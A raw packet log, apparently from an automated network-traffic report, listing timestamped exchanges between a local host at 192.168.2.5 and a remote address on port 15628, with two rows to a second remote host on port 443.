Jul 20, 2024 11:54:20.530137062 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.533065081 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.538506031 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.541004896 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.546305895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.549079895 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.555593014 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.556226015 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.563534021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.565047026 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.570003986 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.571635008 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.576648951 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.576814890 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.581872940 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.585012913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.589939117 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.593018055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.598114967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.601041079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.606061935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.609000921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.614027977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.614156961 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.619106054 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.620996952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.625884056 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.625978947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.631299019 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.631375074 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.636277914 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.636409044 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.642765045 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.642896891 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.647914886 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.648056984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.653019905 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.657037020 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.662677050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.665008068 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.669847965 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.673018932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.678756952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.681026936 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.686147928 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.688965082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.693973064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.694037914 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.698832989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.698899984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.703727007 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.703778982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.708621979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.708709955 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.713568926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.713623047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.718516111 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.718607903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.723606110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.723660946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.728612900 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.728719950 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.733675957 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.733745098 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.738639116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.738712072 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.743613005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.743670940 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.749176025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.749227047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.754008055 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.754096985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.758940935 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.759022951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.764054060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.764167070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.769084930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.769140959 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.774033070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.774090052 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.778976917 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.779041052 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.783999920 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.784090996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.788948059 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.789120913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.793965101 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.801040888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.806015968 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.806067944 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.811106920 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.811170101 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.816317081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.816389084 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.821330070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.821423054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.826419115 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.826505899 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.831541061 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.831602097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.836810112 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.843287945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.848242998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.848304987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.853324890 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.853393078 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.858469963 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.858536959 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.863650084 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.863771915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.868820906 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.868891954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.874025106 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.874208927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.892961979 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.893062115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.898026943 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.899885893 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.904860020 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.904941082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.909770966 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.909831047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.912499905 CEST	49742	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:54:20.912520885 CEST	443	49742	183.60.146.66	192.168.2.5
Jul 20, 2024 11:54:20.914885998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.914948940 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.920226097 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.920317888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.925216913 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.925326109 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.930181980 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.930264950 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.935244083 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.935323000 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.941159964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.941219091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.946012020 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.946180105 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.951098919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.951164007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.956181049 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.956238985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.961050987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.961153984 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.966074944 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.966125965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.971018076 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.971103907 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.975923061 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.975980043 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.981911898 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.982045889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.986835957 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.986887932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.991838932 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.991918087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:20.996800900 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:20.996850014 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.001717091 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.001785994 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.006932974 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.006988049 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.011976004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.012047052 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.016901970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.016987085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.022016048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.022098064 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.026956081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.027030945 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.031898975 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.031968117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.036787987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.036861897 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.041719913 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.041770935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.046812057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.046864033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.052166939 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.052216053 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.057296038 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.057384968 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.062462091 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.062509060 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.067423105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.067506075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.072376966 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.072428942 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.077512980 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.077574015 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.082521915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.082603931 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.087627888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.087714911 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.092745066 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.092806101 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.097775936 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.097863913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.102998018 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.103079081 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.108153105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.108210087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.113471985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.113554001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.118585110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.118652105 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.123769045 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.123847961 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.128957987 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.129029036 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.134026051 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.134089947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.140388012 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.140454054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.145601034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.145662069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.150669098 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.150770903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.155793905 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.155853987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.160860062 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.160960913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.165857077 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.165918112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.170845032 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.170907974 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.175744057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.176075935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.181097984 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.181158066 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.186122894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.186173916 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.191224098 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.191292048 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.196186066 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.196235895 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.201277971 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.201370955 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.206664085 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.206767082 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.211755991 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.211867094 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.216808081 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.216887951 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.221849918 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.221909046 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.227070093 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.227124929 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.232203007 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.232256889 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.237365961 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.237474918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.242413998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.242463112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.247608900 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.247714043 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.252585888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.252671957 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.257869959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.257940054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.262806892 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.262862921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.267894983 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.267946005 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.273169041 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.273267031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.278211117 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.278281927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.283330917 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.283389091 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.288574934 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.288640976 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.293740034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.293788910 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.299254894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.299307108 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.304296970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.304378033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.309375048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.309463978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.314572096 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.314670086 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.319746017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.319818974 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.324717999 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.324780941 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.330005884 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.330099106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.335872889 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.335922003 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.341006041 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.341131926 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.346282959 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.346362114 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.351314068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.351393938 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.356565952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.356687069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.361882925 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.361943007 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.367474079 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.367537022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.373265028 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.373321056 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.390697956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.390786886 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.395951986 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.396032095 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.401093960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.401149035 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.406028986 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.406083107 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.411356926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.411412001 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.416318893 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.416390896 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.421299934 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.421400070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.426724911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.426772118 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.431703091 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.431757927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.436626911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.436691999 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:21.442336082 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:21.442392111 CEST	49715	15628	192.168.2.5	154.204.0.4
